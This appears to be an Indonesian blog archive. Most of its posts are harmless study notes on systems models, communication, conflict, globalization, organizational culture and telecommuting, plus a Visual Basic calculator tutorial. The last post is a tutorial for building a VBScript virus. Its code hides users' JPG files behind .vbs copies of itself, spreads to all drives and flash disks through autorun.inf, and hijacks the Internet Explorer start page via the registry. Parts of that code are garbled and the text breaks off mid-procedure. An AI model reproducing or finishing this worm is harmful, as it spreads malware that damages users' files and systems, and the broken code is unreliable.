Selasa, 06 November 2012

CONTOH PENGGUNAAN MODEL SISTEM UMUM


CONTOH PENGGUNAAN MODEL SISTEM UMUM
Pasar Swalayan
Arus Material                                                 : barang – barang yang dijual.
Arus personil                                                  : manajer toko, pegawai gudang, kasir.
Sumber daya mesin                                        : lemari pendingin, kotak peraga, rak-rak, dan komputer.
Arus uang                                                       : pemasukan terutama disediakan oleh pembeli dan pengeluaran kepada pemasok , pegawai  \dan pemilik.
Proses transformasi                                        : pembungkusan barang, mengatur barang di rak.
Elemen manajemen sistem konseptual          : manajer toko dan asisten.
Pengolah informasi                                        : komputer dan pembaca barcode serta kasir.


SISTEM FISIK
Merupakan sistem terbuka yang berhubungan dengan lingkungannya melalui arus sumber daya fisik, dimana input datang dari lingkungan perusahaan , terjadi suatu transformasi dan akhirnya output dikembalikan ke lingkungan yang sama.

Arus Material
Material input diterima dari pemasok bahan mentah dan komponen rakitan. Material ini lalu disimpan sampai dibutuhkan dalam proses transformasi. Material kemudian masuk dalam kegiatan manufaktur, setelah melalui proses transformasi material yang sudah berubah menjadi barang jadi disimpan untuk kemudian menjadi output yang disitribusikan ke pasar.

Arus Personil
Input personil berasal dari lingkungan, yang biasanya diproses oleh fungsi sumber daya manusia kemudian ditugaskan ke berbagai area fungsional dimana mereka terlibat dalam proses transformasi baik langsung maupun tak langsung.

Arus Mesin
Mesin-mesin diperoleh dari pemasok dan biasanya berada untuk jangka waktu lama. Mesin adalah sumber daya yang terlibat secara langsung dalam berbagai bentuk, input, pemrosesan, dan output.

Arus Uang
Uang terutama diperoleh dari pemilik sebagai modal dan dari pembeli yang memberikan pendapatan penjualan ataupun dari berbagai lembaga yang memberikan pinjaman dan juga pemerintah.
Contoh Penggunaan Model Sistem Umum
Pasar swalayan, Arus material barang yang dijual, mengalir kepada manajer toko, pegawai,maupun kasir. Dan kemudian arus uangnya itu yang paling utama, disediakan oleh pembeli dan pengeluaran kepada pemasok barang, pegawai serta pemilik.

TAHAPAN PEMECAHAN MASALAH DENGAN MENGGUNAKAN PENDEKATAN SISTEM

1. Usaha Persiapan
            Memandang perusahaan sebagai suatu sistem.
            Mengenal sistem lingkungan.
            Mengidentifikasi subsistem perusahaan.
2. Usaha Definisi
            Bergerak dari tingkat sistem ke subsistem.
            Tujuannya : mengidentifikasi tingkat sistem tempat persoalan berada.
            Menganalisis bagian-bagian sistem dalam suatu urutan tertentu :
            Mengevaluasi standar.
            Membandingkan output dengan standar.
            Mengevaluasi manajemen.
            Mengevaluasi pemroses informasi.
            Mengevaluasi input dan sumber daya input.
            Mengevaluasi proses.
            Mengevaluasi sumber daya output.
3. Usaha Persiapan
            Pertimbangan alternatif yang layak.
            Mengevaluasi berbagai solusi alternatif.
            Memilih solusi terbaik.
            Menerapkan solusi.
            Memastikan bahwa solusi tersebut efektif.

Jumat, 06 April 2012

Komunikasi

Komunikasi adalah "suatu proses dalam mana seseorang atau beberapa orang, kelompokorganisasi, dan masyarakat menciptakan, dan menggunakan informasi agar terhubung dengan lingkungandan orang lain". Pada umumnya, komunikasi dilakukan secara lisan atau verbal yang dapat dimengerti oleh kedua belah pihak. Apabila tidak ada bahasa verbal yang dapat dimengerti oleh keduanya, komunikasi masih dapat dilakukan dengan menggunakan gerak-gerik badan, menunjukkan sikap tertentu, misalnya tersenyum, menggelengkan kepala, mengangkat bahu. Cara seperti ini disebut komunikasi dengan bahasa nonverbal.
Komponen komunikasi adalah hal-hal yang harus ada agar komunikasi bisa berlangsung dengan baik:
  • Pengirim atau komunikator (sender) adalah pihak yang mengirimkan pesan kepada pihak lain.
  • Pesan (message) adalah isi atau maksud yang akan disampaikan oleh satu pihak kepada pihak lain.
  • Saluran (channel) adalah media dimana pesan disampaikan kepada komunikan. dalam komunikasi antar-pribadi (tatap muka) saluran dapat berupa udara yang mengalirkan getaran nada/suara.
  • Penerima atau komunikate (receiver) adalah pihak yang menerima pesan dari pihak lain
  • Umpan balik (feedback) adalah tanggapan dari penerimaan pesan atas isi pesan yang disampaikannya.
  • Aturan yang disepakati para pelaku komunikasi tentang bagaimana komunikasi itu akan dijalankan ("Protokol").

Proses komunikasi

Secara ringkas, proses berlangsungnya komunikasi bisa digambarkan seperti berikut.
  1. Komunikator (sender) yang mempunyai maksud berkomunikasi dengan orang lain mengirimkan suatu pesan kepada orang yang dimaksud. Pesan yang disampaikan itu bisa berupa informasi dalam bentuk bahasa ataupun lewat simbol-simbol yang bisa dimengerti kedua pihak.
  2. Pesan (message) itu disampaikan atau dibawa melalui suatu media atau saluran baik secara langsung maupun tidak langsung. Contohnya berbicara langsung melalui teleponsurate-mail, atau media lainnya.
media (channel) alat yang menjadi penyampai pesan dari komunikator ke komunikan.
  1. Komunikan (receiver) menerima pesan yang disampaikan dan menerjemahkan isi pesan yang diterimanya ke dalam bahasa yang dimengerti oleh komunikan itu sendiri.
  2. Komunikan (receiver) memberikan umpan balik (feedback) atau tanggapan atas pesan yang dikirimkan kepadanya, apakah dia mengerti atau memahami pesan yang dimaksud oleh si pengirim.

Konflik

Konflik dilatarbelakangi oleh perbedaan ciri-ciri yang dibawa individu dalam suatu interaksi. perbedaan-perbedaan tersebut diantaranya adalah menyangkut ciri fisik, kepandaian, pengetahuan, adat istiadat, keyakinan, dan lain sebagainya. Dengan dibawasertanya ciri-ciri individual dalam interaksi sosial, konflik merupakan situasi yang wajar dalam setiap masyarakat dan tidak satu masyarakat pun yang tidak pernah mengalami konflik antar anggotanya atau dengan kelompok masyarakat lainnya, konflik hanya akan hilang bersamaan dengan hilangnya masyarakat itu sendiri.

Jenis-jenis konflik:

  • Konflik antara atau dalam peran sosial (intrapribadi), misalnya antara peranan-peranan dalam keluarga atau profesi (konflik peran (role))
  • Konflik antara kelompok-kelompok sosial (antar keluarga, antar gank).
  • Konflik kelompok terorganisir dan tidak terorganisir (polisi melawan massa).
  • Koonflik antar satuan nasional (kampanye, perang saudara)
  • Konflik antar atau tidak antar agama
  • Konflik antar politik.

Akibat konflik

Hasil dari sebuah konflik adalah sebagai berikut :
  • meningkatkan solidaritas sesama anggota kelompok (ingroup) yang mengalami konflik dengan kelompok lain.
  • keretakan hubungan antar kelompok yang bertikai.
  • perubahan kepribadian pada individu, misalnya timbulnya rasa dendam, benci, saling curiga dll.
  • kerusakan harta benda dan hilangnya jiwa manusia.
  • dominasi bahkan penaklukan salah satu pihak yang terlibat dalam konflik.

Contoh konflik

Dampak Globalisasi

Globalisasi adalah keterkaitan dan ketergantungan antar bangsa dan antar manusia di seluruh dunia melalui perdagangan, investasi, perjalanan, budaya populer, dan bentuk-bentuk interaksi yang lain sehingga batas-batas suatu negara menjadi semakin sempit.
Globalisasi adalah suatu proses di mana antar individu, antar kelompok, dan antar negara saling berinteraksi, bergantung, terkait, dan memengaruhi satu sama lain yang melintasi batas negara
Dalam banyak hal, globalisasi mempunyai banyak karakteristik yang sama dengan internasionalisasi sehingga kedua istilah ini sering dipertukarkan. Sebagian pihak sering menggunakan istilah globalisasi yang dikaitkan dengan berkurangnya peran negara atau batas-batas negara.

DAMPAK POSITIF GLOBALISASI ANTARA LAIN:

  • Mudah memperoleh informasi dan ilmu pengetahuan
  • Mudah melakukan komunikasi
  • Cepat dalam bepergian (mobilitas tinggi)
  • Menumbuhkan sikap kosmopolitan dan toleran
  • Memacu untuk meningkatkan kualitas diri
  • Mudah memenuhi kebutuhan
Dampak negatif globalisasi antara lain:
  • Informasi yang tidak tersaring
  • Perilaku konsumtif
  • Membuat sikap menutup diri, berpikir sempit
  • Pemborosan pengeluaran dan meniru perilaku yang buruk
  • Mudah terpengaruh oleh hal yang tidak sesuai dengan kebiasaan atau kebudayaan suatu negara

Budaya Organisasi

Budaya organisasi adalah sebuah sistem makna bersama yang dianut oleh para anggota yang membedakan suatu organisasi dari organisasi-organisasi lainnya. Sistem makna bersama ini adalah sekumpulan karakteristik kunci yang dijunjung tinggi oleh organisasi.
Asal muasal budaya organisasi
Kebiasaantradisi, dan cara umum dalam melakukan segala sesuatu yang ada di sebuah organisasi saat ini merupakan hasil atau akibat dari yang telah dilakukan sebelumnya dan seberapa besar kesuksesan yang telah diraihnya di masa lalu. Hal ini mengarah pada sumber tertinggi budayasebuah organisasi: para pendirinya. Secara tradisional, pendiri organisasi memiliki pengaruh besar terhadap budaya awal organisasi tersebut. Pendiri organisasi tidak memiliki kendala karena kebiasaan atau ideologi sebelumnya. Ukuran kecil yang biasanya mencirikan organisasi baru lebih jauh memudahkan pendiri memaksakan visimereka pada seluruh anggota organisasi. Proses penyiptaan budaya terjadi dalam tiga cara. Pertama, pendiri hanya merekrut dan mempertahankankaryawan yang sepikiran dan seperasaan dengan mereka. Kedua, pendiri melakukan indoktrinasi dan menyosialisasikan cara pikir dan berperilakunya kepada karyawan. Terakhir, perilaku pendiri sendiri bertindak sebagai model peran yang mendorong karyawan untuk mengidentifikasi diri dan, dengan demikian, menginternalisasi keyakinan, nilai, dan asumsi pendiri tersebut. Apabila organisasi mencapai kesuksesan, visi pendiri lalu dipandang sebagai faktor penentu utama keberhasilan itu.Di titik ini, seluruh kepribadian para pendiri jadi melekat dalam budaya organisasi.

Karakteristik budaya organisasi

  • Inovasi dan keberanian mengambil risiko. Sejauh mana karyawan didorong untuk bersikap inovatif dan berani mengambil risiko.
  • Perhatian pada hal-hal rinci. Sejauh mana karyawan diharapkan menjalankan presisi, analisis, di perhatian pada hal-hal detail.
  • Orientasi hasil. Sejauh mana manajemen berfokus lebih pada hasil ketimbang pada teknik dan proses yang digunakan untuk mencapai hasil tersebut.
  • Orientasi orang. Sejauh mana keputusan-keputusan manajemen mempertimbangkan efek dari hasil tersebut atas orang yang ada di dalam organisasi.
  • Orientasi tim. Sejauh mana kegiatan-kegiatan kerja di organisasi pada tim ketimbang pada indvidu-individu.
  • Keagresifan. Sejauh mana orang bersikap agresif dan kompetitif ketimbang santai.
  • Stabilitas. Sejauh mana kegiatan-kegiatan organisasi menekankan dipertahankannya status quo dalam perbandingannya dengan pertumbuhan.

Rabu, 21 Maret 2012

TEKNOLOGI DI TEMPAT KERJA

Telecommuting atau Telework adalah model atau perjanjian kerja di mana karyawan memperoleh fleksibilitas bekerja dalam hal tempat dan waktu kerja dengan bantuan teknologi telekomunikasi.
Dengan kata lain, kegiatan bepergian ke kantor atau tempat kerja digantikan dengan hubungan telekomunikasi. Dengan sistem ini, banyak karyawan yang pada akhirnya bekerja di rumah, sementara lainnya, yang lazim disebut pekerja nomaden (nomad workers) atau web commuters menggunakan teknologi komunikasi untuk bekerja dari kafe atau tempat lain yang nyaman bagi mereka. Telework, di sisi lain, merupakan istilah yang bermakna lebih luas lagi. Telework merujuk pada penggantian segala bentuk teknologi telekomunikasi yang terkait dengan pekerjaan-yang-perlu-bepergian, yang pada akhirnya mengurangi hambatan jarak dengan telecommuting. Seseorang yang ber-telecommuting biasa disebut dengan “telecommuter”. Motto yang sering didengungkan oleh para telecommuter adalah “pekerjaan adalah sesuatu yang kita lakukan, bukan dan bukan tujuan bepergian.”
Agar telecommuting dapat berjalan dengan baik, diperlukan gaya manajemen yang baik, yang didasarkan dan ditujukan pada hasil, bukan pengamatan yang mendetil dari masing-masing karyawan secara individual. Hal ini menunjuk pada manajemen berbasis tujuan (management by objectives) yang bertolakbelakang dengan manajemen berbasis observasi (management by observation). Istilah telecommuting dan telework sendiri mulai berkembang pada tahun 1973. Penggagasnya bernama Jack Nilles

Statistik Telecommuting

 

Di Amerika Serikat, diperkirakan lebih dari lima puluh juta karyawan (kurang lebih 40% dari keseluruhan populasi dapat bekerja dari rumah, setidaknya untuk beberapa hari dalam seminggu hari kerja). Pada tahun 2008, hanya 2,5 juta karyawan (di luar angka wirausahawan) menganggap rumah sebagai tempat utama melakukan pekerjaan dan bisnisnya.
Telecommuter musiman—orang-orang yang bekerja dari tempat yang jauh (meski tak selalu dari rumah)—di Amerika Serikat hingga tahun 2008 mencapai angka 17,2 juta orang.
Hingga kini, sangat sedikit perusahaan yang mempekerjakan sebagian besar karyawannya dari rumah sehari penuh. Perkecualian perlu diberikan pada industri call center yang mempekerjakan ribuan pekerja rumahan. Bagi mayoritas karyawan, pilihan untuk bekerja di rumah dilihat sebagai sebuah keuntungan; kendati sebagian besar mereka tidak setiap hari dalam seminggu melakukannya.
Pada tahun 2009, Kantor Manajemen Personil melaporkan sekitar 102.000 karyawan Federal melakukan telework. Hingga tiga tahun berikutnya, baik sektor publik maupun swasta, menurut pembuat kebijakan Teknologi Informasi di Amerika Serikat memprediksi adanya peningkatan telework hingga 65% untuk sektor publik dan 33% untuk sektor swasta atau privat.

Teknologi

 

Gagasan telecommuting berawal mula pada berkembangnya teknologi era 1970-an awal yang dapat menyambungkan kantor-kantor satelit ke perkotaan dan perumahan dengan dumb terminals dari saluran telepon sebagai jembatan jaringan (network bridge). Penyusutan biaya yang signifikan dan peningkatan performa serta kegunaan dari komputer pribadi menyebabkan desentralisasi lebih lanjut, dengan memindahkan kantor ke rumah-rumah. Pada tahun 1980 awal, kantor-kantor cabang dan pekerja rumahan dapat terhubung dengan perusahaan inti dengan menggunakan komputer pribadi dan emulasi terminal.
Ihwal telework jarak jauh, proses ini difasilitasi oleh groupware, jaringan virtual privat, panggilan konferensi, video conferencing dan VoiceoverIP (VoIP). Akan sangat efisien dan bermanfaat bagi perusahaan manakala karyawannya diperbolehkan bekerja dengan jarak jauh. Hal ini membuat perusahaan bisa menekan pengeluaran dan mendapat pemasukan. Sebagaimana koneksi internet saat ini sudah menjadi sangat jamak di masyarakat, semakin banyak karyawan memiliki bandwidth yang memadai di rumah untuk digunakan sebagai sarana penghubung mereka dengan fasilitas intranet kantor dan jaringan telepon internal.
LAN yang diadopsi mempromosikan keterbagian sumber daya, dan komputasi server-klien membuat lebih banyak lagi desentralisasi. Kini, telecommuters bisa menggunakan laptop bersama mereka untuk bekerja, baik di kantor maupun di rumah (dan hampir mungkin, di segala tempat). Meroketnya komputasi awan (cloud computing) dan ketersediaan teknologi Wi-Fi kian mempermudah akses ke server yang jauh melalui kombinasi dari hardware dan software yang bisa digunakan di mana saja.

Keuntungan-keuntungan

Aplikasi telecommuting menawarkan keuntungan yang besar bagi komunitas, karyawan, dan perusahaan. Bagi komunitas, telecommuting memungkinkan pengerjaan yang lebih utuh dan penuh (dengan meningkatkan kemampuan bekerja di lingkungan yang dekat, khususnya bagi mereka para orang tua yang bekerja di rumah, para penjaga, penyandang cacat, dan penduduk yang tinggal di tempat yang sangat jauh), mengurangi kemacetan dan kemungkinan kecelakaan, melegakan lalu lintas, mengurangi jumlah gas rumah kaca (GRK), menghemat bahan bakar, mengurangi penggunaan energi, memperbaiki kesiapan bencana, dan mereduksi target terorisme.
Namun, untuk perusahaan, telecommuting bisa memperluas dan mengembangkan bakat karyawan, mengurangi atau menghambat penyebaran penyakit, mereduksi biaya, meningkatkan produktivitas, dan mengurangi jejak keluaran karbon dan penggunaan energi, serta menawarkan metode yang terjangkau untuk melaksanakan Americans with Disabilities Act (ADA) tahun 1990, mengurangi pergantian dan absensi, memperbaiki moral karyawan, menawarkan kesinambungan operasionalisasi strategi, meningkatkan kemampuan karyawan untuk menangani pekerjaan melewati batas waktu, dan menguatkan kemampuan adaptasi budaya karyawan. Pekerja telework tetap dapat menghemat pengeluaran hingga USD 20.000 per karyawan.
Guna telecommuting bagi individu, antara lain menciptakan keseimbangan antara bekerja dengan pekerjaan rumah dengan lebih baik, mengurangi pengeluaran karbon, menekan penggunaan bahan bakar, menciptakan libur baru dari 15 hingga 25 hari setahun, dan menghemat sekitar USD 4.000 hingga USD 21.000 per tahun untuk keperluan bepergian dalam kepentingan pekerjaan. Ketika harga bahan bakar diasumsikan rata-rata USD 3 per galon, karyawan yang rata-rata bekerja 5 hari dalam seminggu menghabiskan sekitar USD 138,8 per bulan hanya untuk biaya bahan bakar. Bilamana 53% dari seluruh pekerja kerah-putih tersebut bekerja telework selama 2 hari dalam seminggu, maka secara kolektif mereka melakukan penghematan 9,7 galon bahan bakar dan USD 38,2 milyar setahun.
Telecommuting paruh-waktu dengan pekerjaan yang tepat (40%) dan keinginan untuk melakukannya (79%) akan menyelamatkan dan banyak membantu perusahaan, komunitas, dan karyawan lebih dari USD 650 milyar per tahunnya. Ini merupakan hasil dari peningkatan produktivitas, berkurangnya pengeluaran kantor, menurunnya absensi dan pergantian, berkurangnya aktivitas bepergian untuk kepentingan pekerjaan, berkurangnya kebutuhan perbaikan jalan, konsumsi bahan bakar semakin berkurang dan berbagai penghematan lainnya.

Kepuasan Karyawan

Fleksibilitas telework merupakan keuntungan tambahan yang diinginkan karyawan. Riset Robert Half International Financial Hiring Index pada tahun 2008, yang mensurvei 1.400 CFO menemukan 13% responden menganggap telework sebagai insentif perekrutan terbaik saat ini untuk akuntan profesional. Pada survei sebelumnya, 33% menganggap telework sebagai insentif perekrutan terbaik dan separuh (50%) menganggap telework sebagai insentif perekrutan terbaik kedua.

Permasalahan yang Mungkin Timbul

  • Kekhawatiran terbesar terkait telecommuting adalah: ketakutan akan kehilangan kontrol; 75% manajer menyatakan mempercayai karyawannya, namun sepertiganya mengaku perlu melihat kinerja karyawannya untuk memastikan segalanya baik-baik saja.
  • Hambatan yang menghambat gagasan telecommuting terus tumbuh adalah ketidakpercayaan terhadap karyawan dan ketidakterhubungan personal di antara para karyawan.
  • Telecommuting, bagi sebagian orang dilihat sebagai sebuah pelengkap dari bekerja di kantor dan bukan kegiatan utama.
  • Masalah keamanan juga perlu diperhatikan ketika mengimplementasikan telecommuting. Pada tahun 2006 terdapat kasus pencurian laptop salah seorang anggota departemen Federal Amerika Serikat. Meski anggota departemen tersebut bukan seorang telecommuter, kasus ini memunculkan kekhawatiran bekerja di luar tempat kerja. Sembilan puluh persen eksekutif menganggap telecommuting sebagai satu konsep yang sangat kurang dalam hal keamanan. Para eksekutif pun mempermasalahkan pekerjaan kecil yang dibawa dan dikerjakan di luar kantor oleh para non-telecommuter karena kurangnya pelatihan, alat, dan teknologi yang mereka miliki.
  • Beberapa manajer mungkin melihat telecommuting akan menurunkan performa kerja karyawan di bulan-bulan awal, sebab mereka harus menyesuaikan diri dengan kondisi kerja yang baru[23]. Menurunnya kinerja karyawan saat melakukan telecommuting juga diduga diakibatkan oleh kurang memadainya fasilitas perkantoran di luar kantor. Dapat dikatakan hampir 70 menit setiap harinya di kantor akan dihabiskan dengan gangguan, bolak-balik ke tempat foto kopi, dan gangguan lainnya. Meski demikian, di sisi lain produktivitas telecommuter meningkat. Lebih dari dua pertiga karyawan dilaporkan mengalami peningkatan produktivitas manakala ber-telecommuting. Hasil survey CompTIA terhadap 212 pekerja dari berbagai sektor (Oktober, 2008).
  • Manajer lapangan tradisional umumnya tak terbiasa dengan hasil. Hal ini menyebabkan hambatan yang serius bagi perusahaan yang berupaya mengadopsi telecommuting di kantornya. Tanggung jawab dan kompensasi pekerja akan menjadi masalah utama pula. Perusahaan-perusahaan yang akan mengadopsi telecommuting hendaknya memeriksa masalah hukum lokal, isu-isu persatuan, dan hukum wilayah. Telecommuting pun memerlukan pelatihan dan pengembangan yang mencakup evaluasi, simulasi program, pertemuan tim, materi tertulis, dan forum. Pembagian informasi harus diselaraskan dengan kantor virtual dan proses penyelesaian konflik harus dikembangkan. Dukungan operasional dan administratif perlu didesain ulang untuk mendukung lingkungan kantor virtual. Fasilitas-fasilitas pun perlu ditinjau dan dikoordinasikan dengan baik. Kesimpulan manajer untuk mengimplementasikan telecommuting pada organisasi adalah untuk menerapkan pendekatan yang bertujuan “mengevaluasi, mengedukasi, mengorganisasi, dan menginformasi para karyawan”.
  • Bekerja secara telecommuting juga dapat berdampak negatif pada karir seseorang. Survei terkini terhadap 1.300 eksekutif di 71 negara mengindikasikan gagasan telecommuting tidak terlalu didukung. Karyawan yang lebih sering bekerja dengan telecommuting akan kurang dipromosikan dalam pekerjaaannya. Perusahaan tidak akan mempromosikan seseorang hingga seseorang tersebut secara konstan terlihat dan dapat diukur performanya

Minggu, 18 Maret 2012

Cara Membuat Kalkulator dengan Visual Basic 6.0

Program kalkulator adalah program standar yang sudah tersedia di Microsoft Windows. Tetapi, tak ada salahnya jika kita mencoba membuat kalkulator sendiri dengan Microsoft Visual Basic 6.0.
Pertama-tama, buatlah sebuah form sesuai selera Anda, yang bentuknya kurang lebih seperti
kalkulator standar Windows, seperti ini:




Untuk properties dari masing-masing objek, saya contohkan seperti dibawah ini, dengan letak
masing-masing objek disesuaikan dengan gambar diatas.
Textbox 1:
(Name) : txtDisplay
Alignment: 1-Right Justify
Text : (kosongkan)
Maxlength : 12

Command Button 1:
(Name) : cmdAngka
Index : 1
Caption : 1

Command Button 2:
(Name) : cmdAngka
Index : 2
Caption : 2

Command Button 3:
(Name) : cmdAngka
Index : 3
Caption : 3

Command Button 4:
(Name) : cmdAngka
Index : 4
Caption : 4

Command Button 5:
(Name) : cmdAngka
Index : 5
Caption : 5

Command Button 6:
(Name) : cmdAngka
Index : 6
Caption : 6

Command Button 7:
(Name) : cmdAngka
Index : 7
Caption : 7

Command Button 8:
(Name) : cmdAngka
Index : 8
Caption : 8

Command Button 9:
(Name) : cmdAngka
Index : 9
Caption : 9

Command Button 10:
(Name) : cmdAngka
Index : 0
Caption : 0

Command Button 11:
(Name) : cmdPlusMinus
Caption : +/-

Command Button 12:
(Name) : cmdKoma
Caption : .

Command Button 13:
(Name) : cmdOperator
Index : 1
Caption : +

Command Button 14:
(Name) : cmdOperator
Index : 2
Caption : -

Command Button 15:
(Name) : cmdOperator
Index : 3
Caption : x

Command Button 16:
(Name) : cmdOperator
Index : 4
Caption : /

Command Button 17:
(Name) : cmdClearEntry
Caption : CE

Command Button 18:
(Name) : cmdClear
Caption : C

Command Button 19:
(Name) : cmdSamaDengan
Caption : =

Berikutnya, Anda tinggal membuat coding dari kalkulator tersebut. Jika Anda mengikuti semua
setting properties seperti diatas, maka codingnya saya contohkan seperti ini:

Option Explicit
Private Hasil As Double
Private Const opNol = 0
Private Const opTambah = 1
Private Const opKurang = 2
Private Const opKali = 3
Private Const opBagi = 4
Private Operator As Integer
Private NilaiBaru As Boolean

' untuk menghapus karakter terakhir
Private Sub Hapus()
Dim txt As String
Dim min_len As Integer
txt = txtDisplay.Text
If Left$(txt, 1) = "-" Then
min_len = 2
Else
min_len = 1
End If
If Len(txt) > min_len Then
txtDisplay.Text = Left$(txt, Len(txt) - 1)
Else
txtDisplay.Text = "0"
End If
End Sub

' hapus angka, hasil terakhir dan operator
Private Sub cmdClear_Click()
cmdClearEntry_Click
Hasil = 0
Operator = opNol
End Sub
' hapus angka
Private Sub cmdClearEntry_Click()
txtDisplay.Text = ""
End Sub
' menambahkan koma (desimal)
Private Sub cmdKoma_Click()
If InStr(txtDisplay.Text, ".") Then
Beep
Else
If NilaiBaru Then
txtDisplay.Text = "."
NilaiBaru = False
Else
txtDisplay.Text = txtDisplay.Text & "."
End If
End If
End Sub

' Menghitung
Private Sub cmdSamaDengan_Click()
Dim HasilBaru As Double
If txtDisplay.Text = "" Then
HasilBaru = 0
Else
HasilBaru = CDbl(txtDisplay.Text)
End If
Select Case Operator
Case opNol
Hasil = HasilBaru
Case opTambah
Hasil = Hasil + HasilBaru
Case opKurang
Hasil = Hasil - HasilBaru
Case opKali
Hasil = Hasil * HasilBaru
Case opBagi
'Tidak bisa dibagi nol
If HasilBaru = 0 Then
MsgBox "Tidak bisa dibagi 0", vbOKOnly + vbCritical, "Kalku ERROR"
Call cmdClear_Click
Else
Hasil = Hasil / HasilBaru
End If
End Select
Operator = opNol
NilaiBaru = True
txtDisplay.Text = Format$(Hasil)
End Sub

' menuliskan angka
Private Sub cmdAngka_Click(Index As Integer)
If NilaiBaru Then
txtDisplay.Text = Format$(Index)
NilaiBaru = False
Else
txtDisplay.Text = _
txtDisplay.Text & Format$(Index)
End If
End Sub
' tombol tambah/kurang/bagi/kali
Private Sub cmdOperator_Click(Index As Integer)
cmdSamaDengan_Click
Operator = Index
NilaiBaru = True
End Sub

' merubah tanda +/-
Private Sub cmdPlusMinus_Click()
If NilaiBaru Then
txtDisplay.Text = "-"
ElseIf Left$(txtDisplay.Text, 1) = "-" Then
txtDisplay.Text = Right$(txtDisplay.Text, 2)
Else
txtDisplay.Text = "-" & txtDisplay.Text
End If
End Sub

' filter untuk angka saja yg dapat diketikkan
Private Sub Form_KeyPress(KeyAscii As Integer)
txtDisplay_KeyPress KeyAscii
End Sub
Private Sub Form_KeyUp(KeyCode As Integer, Shift As Integer)
txtDisplay_KeyUp KeyCode, Shift
End Sub
' supaya kursor tetap di kanan
Private Sub txtDisplay_Change()
txtDisplay.SelStart = Len(txtDisplay.Text)
End Sub
Private Sub txtDisplay_GotFocus()
txtDisplay_Change
End Sub

' untuk mengetikkan angka di keyboard
Private Sub txtDisplay_KeyPress(KeyAscii As Integer)
Dim ch As String
ch = Chr$(KeyAscii)
Select Case ch
Case "0"
cmdAngka_Click 0
Case "1"
cmdAngka_Click 1
Case "2"
cmdAngka_Click 2
Case "3"
cmdAngka_Click 3
Case "4"
cmdAngka_Click 4
Case "5"
cmdAngka_Click 5
Case "6"
cmdAngka_Click 6
Case "7"
cmdAngka_Click 7
Case "8"
cmdAngka_Click 8
Case "9"
cmdAngka_Click 9
Case "*", "x", "X"
cmdOperator_Click opKali
Case "+"
cmdOperator_Click opTambah
Case vbCrLf, vbCr, "="
cmdSamaDengan_Click
Case "-"
cmdOperator_Click opKurang
Case "."
cmdKoma_Click
Case "/"
cmdOperator_Click opBagi
Case "C", "c"
cmdClearEntry_Click
End Select
KeyAscii = 0
End Sub

' untuk ketikan angka di numpad
Private Sub txtDisplay_KeyUp(KeyCode As Integer, Shift As Integer)
Select Case KeyCode
Case vbKeyNumpad0
cmdAngka_Click 0
Case vbKeyNumpad1
cmdAngka_Click 1
Case vbKeyNumpad2
cmdAngka_Click 2
Case vbKeyNumpad3
cmdAngka_Click 3
Case vbKeyNumpad4
cmdAngka_Click 4
Case vbKeyNumpad5
cmdAngka_Click 5
Case vbKeyNumpad6
cmdAngka_Click 6
Case vbKeyNumpad7
cmdAngka_Click 7
Case vbKeyNumpad8
cmdAngka_Click 8
Case vbKeyNumpad9
cmdAngka_Click 9
Case vbKeyMultiply
cmdOperator_Click opKali
Case vbKeyAdd
cmdOperator_Click opTambah
Case vbKeySeparator
cmdSamaDengan_Click
Case vbKeySubtract
cmdOperator_Click opKurang
Case vbKeyDivide
cmdOperator_Click opBagi
Case vbKeyDecimal
cmdKoma_Click
Case vbKeyBack, vbKeyDelete
Hapus
End Select
KeyCode = 0
End Sub

Cara Membuat Virus Menggunakan Visual Basic (VB)

Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali. Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan Visual Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario virus tersebut adalah sebagai berikut:
1. Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat didalamnya, setelah itu  merubah ekstension file JPG tersebut menjadi JPEG dan merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut terhapus.
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet Explorer
Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan pelajari dari script dibawah ini:
 
1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas
Sub serangan_jpg(target)
on error resume next
set ftarget=fso.GetFile(target)
set fsource = fso.GetFile(Wscript.ScriptFullName)
ftarget.Copy(Left(target,instrrev(target,”.”)) & “jpeg”)
set fbackup = fso.GetFile(Left(target,instrrev(target,”.”)) & “jpeg”)
fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,”.”)) & “jpg ” & “.vbs”)
ftarget.Delete
ftarget.Close
fsource.Close
End Sub
Sub carifilejpg(folder)
For Each filetarget in fso.GetFolder(folder).Files
If (Right(filetarget,3)=”jpg”) then serangan_jpg(filetarget)
Next
End Sub


2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.
Sub serangan_drive()
Set fso = CreateObject(”Scripting.FileSystemObject”)
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & “” & “wolio.vbs”)
If drive.DriveType = 1 And drive.DriveLetter > “C:” Then adaflashdisk = True
End If
Next
If adaflashdisk = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & “” & “autorun.inf”,False)
fileautorun.WriteLine(”[AUTORUN]“)
fileautorun.WriteLine(”RUN=wolio.vbs”)
End If
End Sub

3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan
Sub serangan_ie()
If (regedit.RegRead(”HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
Page”)<>”c:\windows\system32\wolio.html”) Then
regedit.RegWrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Page”,”c:\windows\system32\wolio.html”
End If
End Sub


4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus

Sub buat_html()
set filehtml = fso.CreateTextFile(”c:windowssystem32wolio.html”,True)
filehtml.WriteLine(””)
